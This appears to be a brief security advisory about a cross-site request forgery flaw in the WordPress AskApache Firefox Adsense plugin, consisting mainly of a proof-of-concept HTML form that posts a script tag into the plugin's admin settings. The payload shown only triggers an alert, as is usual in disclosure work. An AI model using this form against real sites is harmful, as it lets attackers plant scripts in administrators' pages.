Wordpress AskApache Firefox Adsense插件跨站请求伪造漏洞

                                                The exploitation example below injects JavaScript code, which uses the "alert()" function to display "immuniweb" word:


<form action="http://[host]/wp-admin/options-general.php?page=askapache-firefox-adsense.php" method="post" name="main">
<input type="hidden" name="aafireadcode"  value='<script>alert("immuniweb");</script>'>
<input type="submit" id="btn">
</form>